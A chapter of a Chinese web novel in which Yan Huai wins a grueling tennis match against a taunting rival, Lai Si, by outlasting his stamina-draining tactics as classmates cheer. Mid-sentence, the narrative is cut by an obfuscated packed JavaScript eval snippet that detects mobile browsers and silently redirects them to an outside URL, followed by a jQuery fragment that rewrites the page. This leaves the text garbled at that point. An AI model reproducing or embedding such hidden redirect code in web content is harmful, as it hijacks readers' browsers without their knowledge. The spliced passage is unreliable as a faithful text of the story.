嘶。
场下实验中学和四中围观的都胆战心惊地抖了抖。
燕徊太狠了,轻飘飘一句话,就把刀尖对准了赖偲的痛处戳。
他说这话的时候赖偲刚刚把网球向空中抛起,听见这话的时候身形微微一顿,竟然还笑了一下,随即“嘭!”地一声挥拍发力!
网球受力,唰地在众人面前留下一道黄绿色的轨迹,还没等人反应过来,已经在燕徊这边的球场内反弹而起!
这球快得让吴极都惊呼:“我草一上来就使这么大力?燕徊能接得住吗?”
话音未落,又一记重重的击球声。
裁判:“0-15!燕徊!”
众人:“……”
周佳迪:“我啥也没看清,好像近视加重了,有人告诉我刚才发生了什么吗?”
何令文:“我草!”
吴极:“我草!”
秦若阳:“我……去!”
在两秒的时间内,燕徊三个跨步到了网前,快准狠地接住了赖偲的发球,并且一个正手把球往对角线打去。
赖偲反身追过去,在对角刹住时球鞋甚至在地面上擦出一道长长的印子,但仍没有接住燕徊带回来的球。
观众席上爆发出一片热烈的叫好声!
何令文激动得腿也不抖了站起来:“燕徊!你今天要是赢了赖偲,从今以后你就是我徊哥!”
燕徊接住扔回给他的网球,往地上弹了两下。
他听见喊话了,但小声咕哝了一句:“赢他还不是件小事么。”
赖偲没想到燕徊那么容易就接住了自己的球,顿时吊儿郎当的样子收敛了。这一次换到燕徊发球。
燕徊拿着球,上抛,击拍,球飞速往对面飞去——
赖偲同样反应极快,运动神经也很发达,很快把球还击回来。
砰。0-30,燕徊。
砰。15-30,赖偲。
砰。15-40,燕徊。
两边的实力都不容小觑,开始你来我往的对拉。很快,裁判哨响,1比0,赖偲拿下第一局。
打着打着,吴极觉得有点不对劲,但又说不上来。
这时,很长时间不开口的骆愠突然出了个声:“几点了。”
“啊?现在啊……”周佳迪一边撩袖子看表一边回,“现在快三点了。”
何令文说:“怎么了我愠哥。”
“三点。”骆愠继续说,“两点半开始的比赛。”
吴极反应过来了:“我草,半个小时了,才打完第一局!”
乔巧问:“半个小时一局怎么了呢?”
吴极答:“太长了啊妹妹。现在大夏天,又是在室外打球,半个小时才打一局,一场下来最快也要三四个小时了。我徊哥平常看着就金贵,万一中暑怎么办?”
秦若阳忧心忡忡地补充:“这不是重点。我发现这个叫赖偲的学生,打球一直就是底线球和短球交替着打。”
何令文:“……妈的,这小子好阴。”
周佳迪问:“怎么说?”
骆愠冷淡地开口:“底线球和短球交替着打,让燕徊反复在网前和发球线之间跑动,又故意拖着比赛时间,是像猫抓耗子一样,慢慢折磨对方把他体力耗光为止,他就赢了。”
拿比分不是最重要的。重要的是彻底让对方被自己牵着鼻子走,像提线木偶一样,只能机械地、不知疲惫地奔跑在两点之间,这种对局面完完全全的操纵感,才是赖偲想要的。
换了不论是谁,处在燕徊这个位置,一旦在比赛中间意识到了这一点,心态有百分之七十的概率会崩掉。
周佳迪惊呼:“怎么能这样子!”
乔巧捏紧了塑料小巴掌:“不要上他的当了啊……”
砰!
1比1,deuce,燕徊艰难拿下第二局,而这一局竟然持续了四十分钟之久。
八月盛夏,烈日晴空,热得知了都只敢躲在树荫底下叫,球场的地面被晒得滚烫。
燕徊胸膛起伏,心跳速率很快,大颗的汗珠从他额前滑到了下巴,胸前、背后的衣服上已经洇湿了一大片。
他微张着嘴喘气,高温见缝插针地带走了咽喉间可怜的水分,嗓子眼里像要着火了一样。
黑色的碎发不断落到眼前,发尾快要扎到眼睛里,燕徊不耐烦地叉开五指把刘海全部往后耙梳过去,露出了他清秀的眉目。
赖偲站在对面准备发球,同时用口香糖吹了个泡泡,又噗地吹破。
一个多小时,燕徊心想,早就没味道了,到底有什么好吃的。
接下来,又是长时间的对拉。
1比2,燕徊。
2比2,赖偲。
2比3,燕徊。
2比4,燕徊。
3比4,赖偲。
3比5,燕徊。
4比5,赖偲。
5比5,赖偲,比赛进行到三个半小时,比分又平了。
吴极眉头紧皱:“坏了,要抢7。”
何令文看着场中:“燕徊状态下降不少,我感觉他体力可能已经透支了。”
一班人看着场中的燕徊,默契十足地加油鼓劲,塑料巴掌拍得比谁都响。
中间休息120秒,大家只看到燕徊的T恤几近全湿,汗珠大颗大颗地砸下来到地面,只一两秒就被蒸干。他站在球场上微微弯腰,双手撑着膝盖,喘着气,但仍然还要小口小口地调整呼吸。
半分钟后,他直起身,慢悠悠地走到场边的长椅上,拿过自己的水杯喝水。但马上就是抢7,又不能放肆地大口喝,只能含一口润润嗓子再吐掉。
燕徊心如死灰地想,今天回家一定要一口气去买三个甜筒冰淇淋。
他把球拍杵在地上,双手搭在球拍顶,又弯腰把额头靠在手背,闭上眼睛休息。
“燕徊!”有人在大声叫他,“加油啊!你最帅!”
燕徊睁开眼睛站起身,看到一班的老师同学们都在观众席上,顶着烈日给他加油打气。
何令文说:“徊哥徊哥,你感觉咋样?”
燕徊默默想了三秒钟,说:“刘海老是掉下来,挡眼睛。”
“啥?我们全班都在为你的比赛提心吊胆,你就只担心这个吗?”
“还有。”燕徊说。
于是大家都安静地竖起耳朵。
燕徊:“有点饿了。”
众人:“……”
“啊!”乔巧双手一合十,高兴地说,“我有这个!”
随即她把自己的校服袖子撩起来,手腕上是一圈黑色的橡胶皮筋,上面有一个卡通胡萝卜的小小装饰物。
燕徊一愣,伸手接了过来,说:“谢谢。”
“呜!”在场的男生发出不怀好意的起哄声。
乔巧则在中间脸憋得通红:“干嘛啊你们这些臭男生,讨厌。”
燕徊把自己的刘海往后抓起,三下两下绑上了胡萝卜皮筋。
呼——
不知道飞来什么,眼前突然被遮住了。
燕徊一愣,才发现是自己的脑袋上盖了一张白色的毛巾。纤维的质地柔软,还带着一股淡淡的清香。
这个香味燕徊很熟悉,是家里玲姐习惯买的柔顺剂。
那这毛巾是……
他掀起脑袋上的白毛巾,突然脑海中闪过一个“掀盖头”的可怕想法,于是他快速地左右甩了甩脑袋,把这想法甩出去。
耳边突然传来一声轻轻的笑。
燕徊闭着眼睛都知道这个有毒的声音是谁。
“干嘛。”他抬头,正好看到站在长椅后的骆愠。
“有什么好笑的,总比某些人连上场机会都没有要好吧。”
骆愠先是瞟了一眼燕徊的头顶,随即目光下移,自顾自地捡了个话题说:“有个生物实验很有意思。”
燕徊:“?”
我来听你上课的吗?
骆大学神:“一群蚂蚁里,大部分蚂蚁很勤劳——清理蚁穴、搬运食物,几乎没有停下来的时候,少数的懒蚂蚁却根本不工作。但是当蚁群的食物来源被切断,勤劳的蚂蚁反而不知所措,懒蚂蚁却能很快带着蚁群找到新的食物源。”
燕徊:“所以你想说什么?”
骆愠的唇形稍薄,但是很好看。
有时候燕徊自己都在想,这个人是怎么做到用这么好看的嘴巴讲出这么多扎心的话的。
比如现在,骆愠就凉飕飕地说:“有的蚂蚁看起来厉害又勤奋,看似忙忙碌碌,实际什么也没做,只是为了掩盖战略上的懒惰罢了。”
哦,不愧是智商惊人的骆愠,骂人还不带脏字。
燕徊伸出食指,在空中朝着骆愠点了两下,那意思是“你给我等着”。
吴极一头雾水:“啥啥啥?你们在说啥?什么蚂蚁的,我听不懂。”
燕徊走回了场内,赖偲已经在网前等着了。他双手撑在球网上,嬉皮笑脸地问:“采访一下这位小辫儿同学。快输了,什么感受。”
燕徊眼睛往下扫了一眼他的腿,说:“感受就是——以后再也不敢嚼泡泡糖打球。”
赖偲“哇”了一声,继续说:“你的嘴好硬啊。”
随后,嚣张地冲燕徊又吹了个泡泡。
裁判吹哨:“比赛开始。”
这一局仍是赖偲发球。他果然是打算活活把对手耗尽,仍是远近交替地对拉,燕徊受他牵制,有几次接球都又惊又险,比分仍然咬得很紧,双方各不相让。
赖偲一边击球,一边说:“跑不动的话,不如弃赛吧!下次别上场了,在旁边练习捡球,这才是狗要训练的哈哈哈哈!”
理实班同学:“我草!”
“闭嘴啊你!”
赖偲接住球,球拍的方向稍稍改变了下,于是一个超高的吊高球朝着燕徊身后的发球线飞去。
周佳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367271|180771||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迪:“他又要燕徊往后面跑!”
燕徊抬头看,同时脚下已经开始动作。他一边跑一边看到已经由湛蓝变成橘红的天色,于是轻轻翘了翘嘴角,说了声:“不和你玩喽,半小时之内结束!”
赖偲一愣:“什……”
燕徊轻巧跳起,右手击打,一个干净利落的扣杀——
砰,球在赖偲脚边弹出!
“5-6,燕徊!进入抢7局!”
“呜哇哇哇哇!”场外欢呼。
赖偲不可置信地低头望着脚边。
燕徊站在对面,露出一个阳光的笑脸,说:“你要庆幸现在日落的时间是七点。”
什么意思?
赖偲皱了皱眉,没听懂,但大滴的汗珠已经从鬓角滚落了下来,握拍的手也不由得紧了紧。
燕徊在对面把球抛起,继续道:“你也应该很累了吧。”
“现在换你来像条狗一样的跑好不好?”
赖偲咬牙:“你他妈想得美!”
砰!砰!砰!
两人开始最后一局比赛的厮杀,牵动着观众席的气氛。
何令文目瞪口呆:“我怎么感觉,我徊哥像是越打越兴奋,赖偲反而越打越颓了呢?”
吴极:“徊哥遇强则强,超越极限了吧!”
何令文:“妈的妈的我好紧张!徊哥说半小时结束,现在还有不到五分钟了!”
秦若阳看了一下午比赛,突然像想到了什么一样,说:“你们发现没有,徊哥从第二局比赛开始,每一个回球都压得很低!”
她受自己学生感染,也跟着不自觉地叫起了“徊哥”。
周佳迪问:“阳姐,压得很低会怎么样吗?”
秦若阳说:“赖偲的战术是让燕徊接到自己的每一个球,让他前后往返跑消耗体力——与此同时,他自己也必须要接住燕徊回击的每一个球才行。”
“啊,然后嘞?”乔巧说。
“然后。”骆愠的声音在此时响起,“为了接住每一个故意压低的球,不得不半蹲下身子去接。”
“半蹲接球咋了?”何令文问。
秦若阳伸手拍了一下他脑门:“会腿酸啊何令文儿!你每次不好好背书的时候我不是罚你蹲马步吗?才十分钟你就嗷嗷叫!”
乔巧:“哦,怪不得我减肥爬楼的时候,一口气下二十层会腿酸一星期。”
“所以我徊哥表面上是被赖偲打得稀里哗啦的,实际上是赖偲被玩儿吗!”
“我草……”
“我草!我哥牛逼!”
“徊哥牛逼!”
赖偲也意识到了,但他从一开始就轻敌,满脑子就只想着把燕徊弄出洋相,没想到临到尾声,小丑竟然是自己。
“去你妈的,”他暗自咬着牙,“老子才不信邪!”
比分已经大幅落后,离七点还差一分钟。
也许是心理防线在渐渐瓦解,赖偲逐渐意识到自己的体力已经严重透支,有几次击球的时候,对方力道大到几乎震得自己就要握不住球拍了。
怎么回事?明明燕徊才是跑得最多那一个。
双腿越来越沉重,仿佛两边各绑了大沙袋,大腿肌肉钻心般酸痛。
不行……
跑起来……
他妈的要输了!……
燕徊一个起跳,胡萝卜发圈落地,少年黑色的发丝飞扬,他高高扬起球拍——奋力一击!
秦若阳:“好球!”
这一球的角度实在刁钻,赖偲就算是在体能满格的情况下也未必追得上。
但他义无反顾地追着网球去,破釜沉舟般地要接住它!
砰!
在场所有人倒吸一口气。
赖偲奋起追了几步,伸长了手想去够到燕徊的扣球,但脚下却没跟上,左脚不小心绊住右脚,重重地摔在了地上!
裁判:“5-7,实验中学,燕徊获胜!”
全场寂静两秒,随即爆发出海啸般的欢呼。
赖偲趴在地上龇牙咧嘴地咒骂了几句,坐起身来的时候鼻腔一酸,一股温热的液体流了下来。
他骂骂咧咧地用袖子一揩,血迹在脸上划出一道红印。四中的同学想去扶他,赖偲自己站了起来,他舔了舔自己的尖牙,冲着远处的燕徊比了个口型:“你他妈,等着。”
燕徊浑不在意,默默呼了口气,走到观众席边。
他嘴角噙着淡淡的笑,校报记者在旁边已经拍疯了。
何令文和吴极早早拿出了校门口打印店做的红色小横幅。
燕徊往前走了两步,在夕阳余晖中看见人群中骆愠的脸,他张了张嘴说了句什么,燕徊耳朵里嗡鸣着没听清,但看口型好像是说“做得好”。
“……”
真把自己当狗了。
燕徊打算去迎接自己的小横幅,结果没走几步就浑身脱了力,眼睛一闭脑袋一低往面前的人堆里栽了下去。